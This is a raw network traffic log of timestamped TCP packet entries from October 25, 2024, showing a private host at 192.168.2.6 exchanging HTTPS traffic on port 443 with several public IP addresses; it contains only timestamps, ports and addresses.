Oct 25, 2024 10:19:49.431087017 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:49.431107044 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:49.632391930 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.632432938 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:49.633043051 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.633790970 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:49.633810997 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.046050072 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.074964046 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.074992895 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.075561047 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.088593960 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.088783026 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.088813066 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.130743980 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.224639893 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.224723101 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.224786997 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.225795984 CEST	50128	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.225821018 CEST	443	50128	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.260196924 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.260515928 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.260580063 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.261909962 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.262244940 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.262339115 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.262434959 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.307343960 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.398633957 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.398808002 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.398875952 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.399530888 CEST	50129	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.399554014 CEST	443	50129	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.508564949 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.508634090 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.508718014 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.509013891 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:50.509036064 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:50.847136974 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.847239971 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:50.847359896 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.848254919 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:50.848292112 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.128060102 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.128365040 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.128422976 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.129607916 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.131863117 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.131961107 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.132009983 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.175371885 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.177321911 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.269135952 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.269320965 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.269628048 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.275127888 CEST	50131	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:51.275182962 CEST	443	50131	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:51.458669901 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.459233046 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.459297895 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.460495949 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.460907936 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.461110115 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.461663961 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.503334045 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.595244884 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.595352888 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.595453978 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.595504999 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.596461058 CEST	50132	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.596481085 CEST	443	50132	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.948045969 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.948137999 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:51.948265076 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.948604107 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:51.948642015 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.574354887 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.619349003 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.761030912 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.761065960 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.761804104 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.762298107 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.762406111 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.762741089 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.762825012 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.762856007 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.762960911 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:52.762991905 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:52.870117903 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:52.870194912 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:52.870265007 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:53.065684080 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.065820932 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.065912008 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066001892 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.066013098 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066080093 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066117048 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.066195965 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066255093 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.066271067 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066365004 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066450119 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066483974 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.066498995 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.066607952 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.184647083 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.184725046 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.184762955 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.184829950 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.184863091 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.184982061 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185028076 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.185048103 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185096025 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185096979 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.185112000 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185162067 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.185817957 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185883045 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.185972929 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.186014891 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.186043978 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.186180115 CEST	50134	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:53.186208963 CEST	443	50134	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:53.215545893 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:53.215567112 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:53.215972900 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.216021061 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.216243029 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.216517925 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.216535091 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.384222984 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.384265900 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:53.384332895 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.384824038 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.384846926 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:53.444056988 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.444118023 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:53.444258928 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.444514990 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:53.444546938 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:53.837301970 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.837622881 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.837655067 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.838267088 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.838743925 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.838830948 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.838948965 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.883339882 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.980401993 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.980586052 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:53.981694937 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.982135057 CEST	50135	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:53.982160091 CEST	443	50135	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:54.123508930 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.123897076 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.123919010 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.125075102 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.125384092 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.125554085 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.125580072 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.125581026 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.125660896 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.179332972 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.183526993 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.183799028 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.183830976 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.184902906 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.185163975 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.185329914 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.185343027 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.185484886 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.185543060 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.271562099 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.271605015 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.271749973 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.272839069 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.272910118 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.273546934 CEST	50136	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.273570061 CEST	443	50136	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.350459099 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.351805925 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.351876974 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.352400064 CEST	50137	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.352447987 CEST	443	50137	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.381012917 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.381058931 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:54.381128073 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.381342888 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:54.381369114 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.132791042 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.176290035 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.297785997 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.297816038 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.298727036 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.300090075 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.300209045 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.300846100 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.343347073 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.437958002 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.438014984 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.438039064 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.438074112 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.438091040 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.439179897 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:55.439234018 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.440485954 CEST	50141	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:55.440506935 CEST	443	50141	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:56.218832970 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.218944073 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.219041109 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.219769001 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.219805002 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.828355074 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.829102039 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.829164028 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.829638958 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.830579996 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.830671072 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.831351042 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.875343084 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966120005 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966348886 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966418028 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.966427088 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966485023 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966545105 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.966581106 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966658115 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966731071 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.966782093 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.966794968 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:56.967128992 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:56.967142105 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.009111881 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.083486080 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083575964 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083622932 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083651066 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083690882 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083692074 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.083726883 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083740950 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.083769083 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.083770037 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083781958 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.083822966 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.084203959 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.084266901 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.084311008 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.084364891 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.084372044 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.084412098 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:57.084460974 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.084554911 CEST	50144	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:57.084572077 CEST	443	50144	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.262065887 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.262139082 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.262202978 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.262517929 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.262540102 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.884285927 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.887772083 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.887810946 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.888415098 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.890849113 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.890971899 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:58.891417980 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:58.935343981 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026473045 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026649952 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026702881 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.026742935 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026813984 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026854038 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026864052 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.026874065 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.026932001 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.026937962 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.027184010 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.027216911 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.027427912 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.027439117 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.027565956 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.145950079 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146138906 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146219969 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146259069 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.146296978 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146370888 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146411896 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.146421909 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.146550894 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.146868944 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147130966 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147207022 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147253036 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.147265911 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147361994 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147547960 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.147557020 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.147756100 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.148112059 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.148251057 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.148324013 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.148329973 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.148350954 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.148992062 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.149049997 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.149063110 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.149337053 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.149343967 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.151381016 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.151447058 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.151459932 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.195453882 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.265575886 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.265712976 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.265778065 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.265818119 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.265837908 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.265858889 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.265904903 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.265984058 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266027927 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.266045094 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266148090 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266196012 CEST	50145	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:59.266208887 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266275883 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266357899 CEST	443	50145	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:59.266415119 CEST	50145	443	192.168.2.6	104.18.95.41
